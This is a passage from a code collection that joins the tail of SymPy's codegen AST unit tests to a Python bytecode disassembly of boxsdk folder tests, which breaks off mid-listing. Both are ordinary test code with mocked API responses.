Assignment(t, x), ] c2 = CodeBlock.topological_sort(free_assignments) assert c2 == CodeBlock(*free_assignments_ordered) def test_CodeBlock_free_symbols(): c1 = CodeBlock( Assignment(x, y + z), Assignment(z, 1), Assignment(t, x), Assignment(y, 2), ) assert c1.free_symbols == set() c2 = CodeBlock( Assignment(x, y + z), Assignment(z, a * b), Assignment(t, x), Assignment(y, b + 3), ) assert c2.free_symbols == {a, b} def test_CodeBlock_cse(): c1 = CodeBlock( Assignment(y, 1), Assignment(x, sin(y)), Assignment(z, sin(y)), Assignment(t, x * z), ) assert c1.cse() == CodeBlock( Assignment(y, 1), Assignment(x0, sin(y)), Assignment(x, x0), Assignment(z, x0), Assignment(t, x * z), ) raises( NotImplementedError, lambda: CodeBlock(Assignment(x, 1), Assignment(y, 1), Assignment(y, 2)).cse(), ) c2 = CodeBlock( Assignment(x0, sin(y) + 1), Assignment(x1, 2 * sin(y)), Assignment(z, x * y), ) assert c2.cse() == CodeBlock( Assignment(x2, sin(y)), Assignment(x0, x2 + 1), Assignment(x1, 2 * x2), Assignment(z, x * y), ) def test_CodeBlock_cse__issue_14118(): c = CodeBlock( Assignment(A22, Matrix([[x, sin(y)], [3, 4]])), Assignment(B22, Matrix([[sin(y), 2 * sin(y)], [sin(y) ** 2, 7]])), ) assert c.cse() == CodeBlock( Assignment(x0, sin(y)), Assignment(A22, Matrix([[x, x0], [3, 4]])), Assignment(B22, Matrix([[x0, 2 * x0], [x0**2, 7]])), ) def test_For(): f = For(n, Range(0, 3), (Assignment(A[n, 0], x + n), aug_assign(x, "+", y))) f = For(n, (1, 2, 3, 4, 5), (Assignment(A[n, 0], x + n),)) assert f.func(*f.args) == f raises(TypeError, lambda: For(n, x, (x + y,))) def test_none(): assert none.is_Atom assert none == none class Foo(Token): pass foo = Foo() assert foo != none assert none == None assert none == NoneToken() assert none.func(*none.args) == none def test_String(): st = String("foobar") assert st.is_Atom assert st == String("foobar") assert st.text == "foobar" assert st.func(**st.kwargs()) == st assert st.func(*st.args) == st class Signifier(String): pass si = Signifier("foobar") assert si != st assert si.text == st.text s = String("foo") assert str(s) == "foo" assert repr(s) == "String('foo')" def test_Comment(): c = Comment("foobar") assert c.text == "foobar" assert str(c) == "foobar" def test_Node(): n = Node() assert n == Node() assert n.func(*n.args) == n def test_Type(): t = Type("MyType") assert len(t.args) == 1 assert t.name == String("MyType") assert str(t) == "MyType" assert repr(t) == "Type(String('MyType'))" assert Type(t) == t assert t.func(*t.args) == t t1 = Type("t1") t2 = Type("t2") assert t1 != t2 assert t1 == t1 and t2 == t2 t1b = Type("t1") assert t1 == t1b assert t2 != t1b def test_Type__from_expr(): assert Type.from_expr(i) == integer u = symbols("u", real=True) assert Type.from_expr(u) == real assert Type.from_expr(n) == integer assert Type.from_expr(3) == integer assert Type.from_expr(3.0) == real assert Type.from_expr(3 + 1j) == complex_ raises(ValueError, lambda: Type.from_expr(sum)) def test_Type__cast_check__integers(): raises(ValueError, lambda: integer.cast_check(3.5)) assert integer.cast_check("3") == 3 assert integer.cast_check(Float("3.0000000000000000000")) == 3 assert integer.cast_check(Float("3.0000000000000000001")) == 3 # unintuitive maybe? assert int8.cast_check(127.0) == 127 raises(ValueError, lambda: int8.cast_check(128)) assert int8.cast_check(-128) == -128 raises(ValueError, lambda: int8.cast_check(-129)) assert uint8.cast_check(0) == 0 assert uint8.cast_check(128) == 128 raises(ValueError, lambda: uint8.cast_check(256.0)) raises(ValueError, lambda: uint8.cast_check(-1)) def test_Attribute(): noexcept = Attribute("noexcept") assert noexcept == Attribute("noexcept") alignas16 = Attribute("alignas", [16]) alignas32 = Attribute("alignas", [32]) assert alignas16 != alignas32 assert alignas16.func(*alignas16.args) == alignas16 def test_Variable(): v = Variable(x, type=real) assert v == Variable(v) assert v == Variable("x", type=real) assert v.symbol == x assert v.type == real assert value_const not in v.attrs assert v.func(*v.args) == v assert str(v) == "Variable(x, type=real)" w = Variable(y, f32, attrs={value_const}) assert w.symbol == y assert w.type == f32 assert value_const in w.attrs assert w.func(*w.args) == w v_n = Variable(n, type=Type.from_expr(n)) assert v_n.type == integer assert v_n.func(*v_n.args) == v_n v_i = Variable(i, type=Type.from_expr(n)) assert v_i.type == integer assert v_i != v_n a_i = Variable.deduced(i) assert a_i.type == integer assert Variable.deduced(Symbol("x", real=True)).type == real assert a_i.func(*a_i.args) == a_i v_n2 = Variable.deduced(n, value=3.5, cast_check=False) assert v_n2.func(*v_n2.args) == v_n2 assert abs(v_n2.value - 3.5) < 1e-15 raises(ValueError, lambda: Variable.deduced(n, value=3.5, cast_check=True)) v_n3 = Variable.deduced(n) assert v_n3.type == integer assert str(v_n3) == "Variable(n, type=integer)" assert Variable.deduced(z, value=3).type == integer assert Variable.deduced(z, value=3.0).type == real assert Variable.deduced(z, value=3.0 + 1j).type == complex_ def test_Pointer(): p = Pointer(x) assert p.symbol == x assert p.type == untyped assert value_const not in p.attrs assert pointer_const not in p.attrs assert p.func(*p.args) == p u = symbols("u", real=True) pu = Pointer(u, type=Type.from_expr(u), attrs={value_const, pointer_const}) assert pu.symbol is u assert pu.type == real assert value_const in pu.attrs assert pointer_const in pu.attrs assert pu.func(*pu.args) == pu i = symbols("i", integer=True) deref = pu[i] assert deref.indices == (i,) def test_Declaration(): u = symbols("u", real=True) vu = Variable(u, type=Type.from_expr(u)) assert Declaration(vu).variable.type == real vn = Variable(n, type=Type.from_expr(n)) assert Declaration(vn).variable.type == integer vuc = Variable(u, Type.from_expr(u), value=3.0, attrs={value_const}) assert value_const in vuc.attrs assert pointer_const not in vuc.attrs decl = Declaration(vuc) assert decl.variable == vuc assert isinstance(decl.variable.value, Float) assert decl.variable.value == 3.0 assert decl.func(*decl.args) == decl assert vuc.as_Declaration() == decl assert vuc.as_Declaration(value=None, attrs=None) == Declaration(vu) vy = Variable(y, type=integer, value=3) decl2 = Declaration(vy) assert decl2.variable == vy assert decl2.variable.value == Integer(3) vi = Variable(i, type=Type.from_expr(i), value=3.0) decl3 = Declaration(vi) assert decl3.variable.type == integer assert decl3.variable.value == 3.0 raises(ValueError, lambda: Declaration(vi, 42)) def test_IntBaseType(): assert intc.name == String("intc") assert intc.args == (intc.name,) assert str(IntBaseType("a").name) == "a" def test_FloatType(): assert f16.dig == 3 assert f32.dig == 6 assert f64.dig == 15 assert f80.dig == 18 assert f128.dig == 33 assert f16.decimal_dig == 5 assert f32.decimal_dig == 9 assert f64.decimal_dig == 17 assert f80.decimal_dig == 21 assert f128.decimal_dig == 36 assert f16.max_exponent == 16 assert f32.max_exponent == 128 assert f64.max_exponent == 1024 assert f80.max_exponent == 16384 assert f128.max_exponent == 16384 assert f16.min_exponent == -13 assert f32.min_exponent == -125 assert f64.min_exponent == -1021 assert f80.min_exponent == -16381 assert f128.min_exponent == -16381 assert abs(f16.eps / Float("0.00097656", precision=16) - 1) < 0.1 * 10**-f16.dig assert ( abs(f32.eps / Float("1.1920929e-07", precision=32) - 1) < 0.1 * 10**-f32.dig ) assert ( abs(f64.eps / Float("2.2204460492503131e-16", precision=64) - 1) < 0.1 * 10**-f64.dig ) assert ( abs(f80.eps / Float("1.08420217248550443401e-19", precision=80) - 1) < 0.1 * 10**-f80.dig ) assert ( abs( f128.eps / Float(" 1.92592994438723585305597794258492732e-34", precision=128) - 1 ) < 0.1 * 10**-f128.dig ) assert abs(f16.max / Float("65504", precision=16) - 1) < 0.1 * 10**-f16.dig assert ( abs(f32.max / Float("3.40282347e+38", precision=32) - 1) < 0.1 * 10**-f32.dig ) assert ( abs(f64.max / Float("1.79769313486231571e+308", precision=64) - 1) < 0.1 * 10**-f64.dig ) # cf. np.finfo(np.float64).max assert ( abs(f80.max / Float("1.18973149535723176502e+4932", precision=80) - 1) < 0.1 * 10**-f80.dig ) assert ( abs( f128.max / Float("1.18973149535723176508575932662800702e+4932", precision=128) - 1 ) < 0.1 * 10**-f128.dig ) assert abs(f16.tiny / Float("6.1035e-05", precision=16) - 1) < 0.1 * 10**-f16.dig assert ( abs(f32.tiny / Float("1.17549435e-38", precision=32) - 1) < 0.1 * 10**-f32.dig ) assert ( abs(f64.tiny / Float("2.22507385850720138e-308", precision=64) - 1) < 0.1 * 10**-f64.dig ) assert ( abs(f80.tiny / Float("3.36210314311209350626e-4932", precision=80) - 1) < 0.1 * 10**-f80.dig ) assert ( abs( f128.tiny / Float("3.3621031431120935062626778173217526e-4932", precision=128) - 1 ) < 0.1 * 10**-f128.dig ) assert f64.cast_check(0.5) == Float(0.5, 17) assert abs(f64.cast_check(3.7) - 3.7) < 3e-17 assert isinstance(f64.cast_check(3), (Float, float)) assert f64.cast_nocheck(oo) == float("inf") assert f64.cast_nocheck(-oo) == float("-inf") assert f64.cast_nocheck(float(oo)) == float("inf") assert f64.cast_nocheck(float(-oo)) == float("-inf") assert math.isnan(f64.cast_nocheck(nan)) assert f32 != f64 assert f64 == f64.func(*f64.args) def test_Type__cast_check__floating_point(): raises(ValueError, lambda: f32.cast_check(123.45678949)) raises(ValueError, lambda: f32.cast_check(12.345678949)) raises(ValueError, lambda: f32.cast_check(1.2345678949)) raises(ValueError, lambda: f32.cast_check(0.12345678949)) assert abs(123.456789049 - f32.cast_check(123.456789049) - 4.9e-8) < 1e-8 assert abs(0.12345678904 - f32.cast_check(0.12345678904) - 4e-11) < 1e-11 dcm21 = Float("0.123456789012345670499") # 21 decimals assert abs(dcm21 - f64.cast_check(dcm21) - 4.99e-19) < 1e-19 f80.cast_check(Float("0.12345678901234567890103", precision=88)) raises( ValueError, lambda: f80.cast_check(Float("0.12345678901234567890149", precision=88)), ) v10 = 12345.67894 raises(ValueError, lambda: f32.cast_check(v10)) assert abs(Float(str(v10), precision=64 + 8) - f64.cast_check(v10)) < v10 * 1e-16 assert abs(f32.cast_check(2147483647) - 2147483650) < 1 def test_Type__cast_check__complex_floating_point(): val9_11 = 123.456789049 + 0.123456789049j raises(ValueError, lambda: c64.cast_check(0.12345678949 + 0.12345678949j)) assert abs(val9_11 - c64.cast_check(val9_11) - 4.9e-8) < 1e-8 dcm21 = Float("0.123456789012345670499") + 1e-20j # 21 decimals assert abs(dcm21 - c128.cast_check(dcm21) - 4.99e-19) < 1e-19 v19 = Float("0.1234567890123456749") + 1j * Float("0.1234567890123456749") raises(ValueError, lambda: c128.cast_check(v19)) def test_While(): xpp = AddAugmentedAssignment(x, 1) whl1 = While(x < 2, [xpp]) assert whl1.condition.args[0] == x assert whl1.condition.args[1] == 2 assert whl1.condition == Lt(x, 2, evaluate=False) assert whl1.body.args == (xpp,) assert whl1.func(*whl1.args) == whl1 cblk = CodeBlock(AddAugmentedAssignment(x, 1)) whl2 = While(x < 2, cblk) assert whl1 == whl2 assert whl1 != While(x < 3, [xpp]) def test_Scope(): assign = Assignment(x, y) incr = AddAugmentedAssignment(x, 1) scp = Scope([assign, incr]) cblk = CodeBlock(assign, incr) assert scp.body == cblk assert scp == Scope(cblk) assert scp != Scope([incr, assign]) assert scp.func(*scp.args) == scp def test_Print(): fmt = "%d %.3f" ps = Print([n, x], fmt) assert str(ps.format_string) == fmt assert ps.print_args == Tuple(n, x) assert ps.args == (Tuple(n, x), QuotedString(fmt), none) assert ps == Print((n, x), fmt) assert ps != Print([x, n], fmt) assert ps.func(*ps.args) == ps ps2 = Print([n, x]) assert ps2 == Print([n, x]) assert ps2 != ps assert ps2.format_string == None def test_FunctionPrototype_and_FunctionDefinition(): vx = Variable(x, type=real) vn = Variable(n, type=integer) fp1 = FunctionPrototype(real, "power", [vx, vn]) assert fp1.return_type == real assert fp1.name == String("power") assert fp1.parameters == Tuple(vx, vn) assert fp1 == FunctionPrototype(real, "power", [vx, vn]) assert fp1 != FunctionPrototype(real, "power", [vn, vx]) assert fp1.func(*fp1.args) == fp1 body = [Assignment(x, x**n), Return(x)] fd1 = FunctionDefinition(real, "power", [vx, vn], body) assert fd1.return_type == real assert str(fd1.name) == "power" assert fd1.parameters == Tuple(vx, vn) assert fd1.body == CodeBlock(*body) assert fd1 == FunctionDefinition(real, "power", [vx, vn], body) assert fd1 != FunctionDefinition(real, "power", [vx, vn], body[::-1]) assert fd1.func(*fd1.args) == fd1 fp2 = FunctionPrototype.from_FunctionDefinition(fd1) assert fp2 == fp1 fd2 = FunctionDefinition.from_FunctionPrototype(fp1, body) assert fd2 == fd1 def test_Return(): rs = Return(x) assert rs.args == (x,) assert rs == Return(x) assert rs != Return(y) assert rs.func(*rs.args) == rs def test_FunctionCall(): fc = FunctionCall("power", (x, 3)) assert fc.function_args[0] == x assert fc.function_args[1] == 3 assert len(fc.function_args) == 2 assert isinstance(fc.function_args[1], Integer) assert fc == FunctionCall("power", (x, 3)) assert fc != FunctionCall("power", (3, x)) assert fc != FunctionCall("Power", (x, 3)) assert fc.func(*fc.args) == fc fc2 = FunctionCall("fma", [2, 3, 4]) assert len(fc2.function_args) == 3 assert fc2.function_args[0] == 2 assert fc2.function_args[1] == 3 assert fc2.function_args[2] == 4 assert str(fc2) in ( # not sure if QuotedString is a better default... "FunctionCall(fma, function_args=(2, 3, 4))", 'FunctionCall("fma", function_args=(2, 3, 4))', ) def test_ast_replace(): x = Variable("x", real) y = Variable("y", real) n = Variable("n", integer) pwer = FunctionDefinition(real, "pwer", [x, n], [pow(x.symbol, n.symbol)]) pname = pwer.name pcall = FunctionCall("pwer", [y, 3]) tree1 = CodeBlock(pwer, pcall) assert str(tree1.args[0].name) == "pwer" assert str(tree1.args[1].name) == "pwer" for a, b in zip(tree1, [pwer, pcall]): assert a == b tree2 = tree1.replace(pname, String("power")) assert str(tree1.args[0].name) == "pwer" assert str(tree1.args[1].name) == "pwer" assert str(tree2.args[0].name) == "power" assert str(tree2.args[1].name) == "power"
data/sympy-1.12/sympy/codegen/tests/test_ast.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST ('datetime',) IMPORT_NAME datetime IMPORT_FROM datetime STORE_NAME datetime POP_TOP LOAD_CONST 0 LOAD_CONST ('BytesIO',) IMPORT_NAME io IMPORT_FROM BytesIO STORE_NAME BytesIO POP_TOP LOAD_CONST 0 LOAD_CONST ('basename',) IMPORT_NAME os.path IMPORT_FROM basename STORE_NAME basename POP_TOP LOAD_CONST 0 LOAD_CONST ('mock_open', 'patch', 'Mock', 'MagicMock') IMPORT_NAME unittest.mock IMPORT_FROM mock_open STORE_NAME mock_open IMPORT_FROM patch STORE_NAME patch IMPORT_FROM Mock STORE_NAME Mock IMPORT_FROM MagicMock STORE_NAME MagicMock POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytz STORE_NAME pytz LOAD_CONST 0 LOAD_CONST ('API',) IMPORT_NAME boxsdk.config IMPORT_FROM API STORE_NAME API POP_TOP LOAD_CONST 0 LOAD_CONST ('BoxAPIException',) IMPORT_NAME boxsdk.exception IMPORT_FROM BoxAPIException STORE_NAME BoxAPIException POP_TOP LOAD_CONST 0 LOAD_CONST ('DefaultNetworkResponse',) IMPORT_NAME boxsdk.network.default_network IMPORT_FROM DefaultNetworkResponse STORE_NAME DefaultNetworkResponse POP_TOP LOAD_CONST 0 LOAD_CONST ('Enterprise',) IMPORT_NAME boxsdk.object.enterprise IMPORT_FROM Enterprise STORE_NAME Enterprise POP_TOP LOAD_CONST 0 LOAD_CONST ('File',) IMPORT_NAME boxsdk.object.file IMPORT_FROM File STORE_NAME File POP_TOP LOAD_CONST 0 LOAD_CONST ('MetadataCascadePolicy',) IMPORT_NAME boxsdk.object.metadata_cascade_policy IMPORT_FROM MetadataCascadePolicy STORE_NAME MetadataCascadePolicy POP_TOP LOAD_CONST 0 LOAD_CONST ('WebLink',) IMPORT_NAME boxsdk.object.web_link IMPORT_FROM WebLink STORE_NAME WebLink POP_TOP LOAD_CONST 0 LOAD_CONST ('Collaboration', 'CollaborationRole') IMPORT_NAME boxsdk.object.collaboration IMPORT_FROM Collaboration STORE_NAME Collaboration IMPORT_FROM CollaborationRole STORE_NAME CollaborationRole POP_TOP LOAD_CONST 0 LOAD_CONST ('Folder', 'FolderSyncState') IMPORT_NAME boxsdk.object.folder IMPORT_FROM Folder STORE_NAME Folder IMPORT_FROM FolderSyncState STORE_NAME FolderSyncState POP_TOP LOAD_CONST 0 LOAD_CONST ('UploadSession',) IMPORT_NAME boxsdk.object.upload_session IMPORT_FROM UploadSession STORE_NAME UploadSession POP_TOP LOAD_CONST 0 LOAD_CONST ('BoxResponse',) IMPORT_NAME boxsdk.session.box_response IMPORT_FROM BoxResponse STORE_NAME BoxResponse POP_TOP LOAD_CONST 0 LOAD_CONST ('ChunkedUploader',) IMPORT_NAME boxsdk.util.chunked_uploader IMPORT_FROM ChunkedUploader STORE_NAME ChunkedUploader POP_TOP LOAD_CONST 0 LOAD_CONST ('normalize_date_to_rfc3339_format',) IMPORT_NAME boxsdk.util.datetime_formatter IMPORT_FROM normalize_date_to_rfc3339_format STORE_NAME normalize_date_to_rfc3339_format POP_TOP LOAD_CONST 0 LOAD_CONST ('SDK_VALUE_NOT_SET',) IMPORT_NAME boxsdk.util.default_arg_value IMPORT_FROM SDK_VALUE_NOT_SET STORE_NAME SDK_VALUE_NOT_SET POP_TOP LOAD_NAME pytest LOAD_METHOD fixture CALL_METHOD LOAD_CONST <code object mock_new_upload_accelerator_url at 0x7fab82258420, file "f.py", line 27> LOAD_CONST 'mock_new_upload_accelerator_url' MAKE_FUNCTION CALL_FUNCTION STORE_NAME mock_new_upload_accelerator_url LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'function' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object mock_accelerator_response_for_new_uploads at 0x7fab82258930, file "f.py", line 32> LOAD_CONST 'mock_accelerator_response_for_new_uploads' MAKE_FUNCTION CALL_FUNCTION STORE_NAME mock_accelerator_response_for_new_uploads LOAD_NAME pytest LOAD_METHOD fixture CALL_METHOD LOAD_CONST <code object mock_items at 0x7fab822581e0, file "f.py", line 45> LOAD_CONST 'mock_items' MAKE_FUNCTION CALL_FUNCTION STORE_NAME mock_items LOAD_NAME pytest LOAD_METHOD fixture CALL_METHOD LOAD_CONST <code object mock_items_response at 0x7fab82258c00, file "f.py", line 58> LOAD_CONST 'mock_items_response' MAKE_FUNCTION CALL_FUNCTION STORE_NAME mock_items_response LOAD_CONST <code object test_get_chunked_uploader at 0x7fab82258e40, file "f.py", line 80> LOAD_CONST 'test_get_chunked_uploader' MAKE_FUNCTION STORE_NAME test_get_chunked_uploader LOAD_NAME pytest LOAD_METHOD fixture CALL_METHOD LOAD_CONST <code object mock_items_response_with_marker at 0x7fae471296f0, file "f.py", line 120> LOAD_CONST 'mock_items_response_with_marker' MAKE_FUNCTION CALL_FUNCTION STORE_NAME mock_items_response_with_marker LOAD_CONST <code object _assert_collaborator_added at 0x7fab8239af60, file "f.py", line 142> LOAD_CONST '_assert_collaborator_added' MAKE_FUNCTION STORE_NAME _assert_collaborator_added LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'accessible_by' LOAD_CONST 'user' LOAD_CONST 'group' LOAD_CONST 'email' BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'notify' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'role' LOAD_NAME iter LOAD_NAME CollaborationRole CALL_FUNCTION CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'can_view_path' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_CONST <code object test_add_collaborator at 0x7fab8239adb0, file "f.py", line 164> LOAD_CONST 'test_add_collaborator' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_add_collaborator LOAD_CONST <code object test_add_collaborator_raises_for_bad_type at 0x7fab70306930, file "f.py", line 207> LOAD_CONST 'test_add_collaborator_raises_for_bad_type' MAKE_FUNCTION STORE_NAME test_add_collaborator_raises_for_bad_type LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'recursive' LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD LOAD_CONST <code object test_delete_folder at 0x7fab703065d0, file "f.py", line 212> LOAD_CONST 'test_delete_folder' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_delete_folder LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'limit,offset,fields,sort,direction' LOAD_CONST (1, 0, None, None, None) LOAD_CONST 100 LOAD_CONST 0 LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_LIST LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_CONST (1, 1, None, None, None) LOAD_CONST (1, 0, None, 'name', 'ASC') LOAD_CONST (1, 1, None, 'date', 'DESC') BUILD_LIST CALL_METHOD LOAD_CONST <code object test_get_items at 0x7fab703068a0, file "f.py", line 224> LOAD_CONST 'test_get_items' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_items LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'content_created_at' LOAD_CONST '1970-01-01T00:00:00+00:00' LOAD_NAME datetime LOAD_CONST 1970 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_NAME pytz LOAD_ATTR UTC LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'content_modified_at' LOAD_CONST '1970-01-01T11:11:11+00:00' LOAD_NAME datetime LOAD_CONST 1970 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 11 LOAD_CONST 11 LOAD_CONST 11 LOAD_NAME pytz LOAD_ATTR UTC LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'is_stream' LOAD_CONST (True, False) CALL_METHOD LOAD_CONST <code object test_upload at 0x7fab70306c90, file "f.py", line 264> LOAD_CONST 'test_upload' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_upload LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'is_stream' LOAD_CONST (True, False) CALL_METHOD LOAD_CONST <code object test_upload_combines_preflight_and_accelerator_calls_if_both_are_requested at 0x7fab70306780, file "f.py", line 363> LOAD_CONST 'test_upload_combines_preflight_and_accelerator_calls_if_both_are_requested' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_upload_combines_preflight_and_accelerator_calls_if_both_are_requested LOAD_CONST <code object test_create_upload_session at 0x7fab703066f0, file "f.py", line 394> LOAD_CONST 'test_create_upload_session' MAKE_FUNCTION STORE_NAME test_create_upload_session LOAD_CONST <code object test_upload_stream_does_preflight_check_if_specified at 0x7fab703069c0, file "f.py", line 427> LOAD_CONST 'test_upload_stream_does_preflight_check_if_specified' MAKE_FUNCTION STORE_NAME test_upload_stream_does_preflight_check_if_specified LOAD_CONST <code object _assert_post_called_correctly at 0x7fab70306ed0, file "f.py", line 456> LOAD_CONST '_assert_post_called_correctly' MAKE_FUNCTION STORE_NAME _assert_post_called_correctly LOAD_NAME patch LOAD_CONST 'boxsdk.object.folder.open' LOAD_NAME mock_open LOAD_CONST b'some bytes' LOAD_CONST ('read_data',) CALL_FUNCTION LOAD_CONST True LOAD_CONST ('create',) CALL_FUNCTION LOAD_CONST <code object test_upload_does_preflight_check_if_specified at 0x7fab70306e40, file "f.py", line 463> LOAD_CONST 'test_upload_does_preflight_check_if_specified' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_upload_does_preflight_check_if_specified LOAD_CONST <code object test_create_subfolder at 0x7fab70306a50, file "f.py", line 494> LOAD_CONST 'test_create_subfolder' MAKE_FUNCTION STORE_NAME test_create_subfolder LOAD_CONST <code object test_get_shared_link at 0x7fab70306f60, file "f.py", line 506> LOAD_CONST 'test_get_shared_link' MAKE_FUNCTION STORE_NAME test_get_shared_link LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'sync_state' LOAD_NAME iter LOAD_NAME FolderSyncState CALL_FUNCTION CALL_METHOD LOAD_CONST <code object test_update_sync_state at 0x7fab703b01e0, file "f.py", line 563> LOAD_CONST 'test_update_sync_state' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_update_sync_state LOAD_CONST <code object test_preflight at 0x7fab703b0540, file "f.py", line 578> LOAD_CONST 'test_preflight' MAKE_FUNCTION STORE_NAME test_preflight LOAD_CONST <code object test_create_web_link_returns_the_correct_web_link_object at 0x7fab703b0c00, file "f.py", line 606> LOAD_CONST 'test_create_web_link_returns_the_correct_web_link_object' MAKE_FUNCTION STORE_NAME test_create_web_link_returns_the_correct_web_link_object LOAD_CONST <code object test_get_metadata_cascade_policies at 0x7fab703b0b70, file "f.py", line 642> LOAD_CONST 'test_get_metadata_cascade_policies' MAKE_FUNCTION STORE_NAME test_get_metadata_cascade_policies LOAD_CONST <code object test_cascade_metadata at 0x7fab703b04b0, file "f.py", line 673> LOAD_CONST 'test_cascade_metadata' MAKE_FUNCTION STORE_NAME test_cascade_metadata LOAD_CONST <code object test_get_folder_locks at 0x7fab703b09c0, file "f.py", line 712> LOAD_CONST 'test_get_folder_locks' MAKE_FUNCTION STORE_NAME test_get_folder_locks LOAD_CONST <code object test_create_folder_lock at 0x7fab703b0d20, file "f.py", line 747> LOAD_CONST 'test_create_folder_lock' MAKE_FUNCTION STORE_NAME test_create_folder_lock LOAD_CONST <code object test_delete_folder_lock at 0x7fab703b00c0, file "f.py", line 780> LOAD_CONST 'test_delete_folder_lock' MAKE_FUNCTION STORE_NAME test_delete_folder_lock LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://upload.box.com/api/2.0/files/content?upload_session_id=123' RETURN_VALUE LOAD_FAST make_mock_box_request LOAD_FAST mock_new_upload_accelerator_url LOAD_CONST None LOAD_CONST ('upload_url', 'upload_token') BUILD_CONST_KEY_MAP LOAD_CONST ('response',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST mock_response STORE_FAST _ LOAD_FAST mock_response RETURN_VALUE LOAD_CONST 'file' LOAD_FAST mock_object_id LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP LOAD_CONST 'folder' LOAD_FAST mock_object_id LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP LOAD_CONST 'file' LOAD_FAST mock_object_id LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_GLOBAL File LOAD_FAST mock_box_session LOAD_FAST mock_object_id CALL_FUNCTION LOAD_GLOBAL Folder LOAD_FAST mock_box_session LOAD_FAST mock_object_id CALL_FUNCTION LOAD_GLOBAL File LOAD_FAST mock_box_session LOAD_FAST mock_object_id CALL_FUNCTION BUILD_LIST BUILD_TUPLE RETURN_VALUE LOAD_CLOSURE mock_items BUILD_TUPLE LOAD_CONST <code object get_response at 0x7fab82258ae0, file "f.py", line 60> LOAD_CONST 'mock_items_response.<locals>.get_response' MAKE_FUNCTION STORE_FAST get_response LOAD_FAST get_response RETURN_VALUE LOAD_DEREF mock_items UNPACK_SEQUENCE STORE_FAST items_json STORE_FAST items LOAD_FAST items_json LOAD_FAST offset LOAD_FAST limit LOAD_FAST offset BINARY_ADD BUILD_SLICE BINARY_SUBSCR STORE_FAST entries LOAD_GLOBAL Mock LOAD_GLOBAL BoxResponse CALL_FUNCTION STORE_FAST mock_box_response LOAD_GLOBAL Mock LOAD_GLOBAL DefaultNetworkResponse CALL_FUNCTION STORE_FAST mock_network_response LOAD_FAST mock_network_response LOAD_FAST mock_box_response STORE_ATTR network_response LOAD_FAST entries LOAD_GLOBAL len LOAD_FAST entries CALL_FUNCTION LOAD_FAST limit LOAD_FAST offset LOAD_CONST ('entries', 'total_count', 'limit', 'offset') BUILD_CONST_KEY_MAP DUP_TOP LOAD_FAST mock_box_response LOAD_ATTR json STORE_ATTR return_value STORE_FAST mock_json LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST mock_json CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_FAST mock_box_response STORE_ATTR content LOAD_CONST 200 LOAD_FAST mock_box_response STORE_ATTR status_code LOAD_CONST True LOAD_FAST mock_box_response STORE_ATTR ok LOAD_FAST mock_box_response LOAD_FAST items LOAD_FAST offset LOAD_FAST limit LOAD_FAST offset BINARY_ADD BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR UPLOAD_URL FORMAT_VALUE LOAD_CONST '/files/upload_sessions' BUILD_STRING STORE_FAST expected_url LOAD_GLOBAL BytesIO LOAD_FAST mock_content_response LOAD_ATTR content CALL_FUNCTION STORE_FAST mock_file_stream LOAD_CONST 197520 STORE_FAST file_size LOAD_CONST 'file' STORE_FAST file_name LOAD_CONST 12345 STORE_FAST part_size LOAD_CONST 16 STORE_FAST total_parts LOAD_CONST 0 STORE_FAST num_parts_processed LOAD_CONST 'upload_session' STORE_FAST upload_session_type LOAD_CONST 'F971964745A5CD0C001BBE4E58196BFD' STORE_FAST upload_session_id LOAD_FAST test_folder LOAD_ATTR object_id LOAD_FAST file_size LOAD_FAST file_name LOAD_CONST ('folder_id', 'file_size', 'file_name') BUILD_CONST_KEY_MAP STORE_FAST expected_data LOAD_FAST 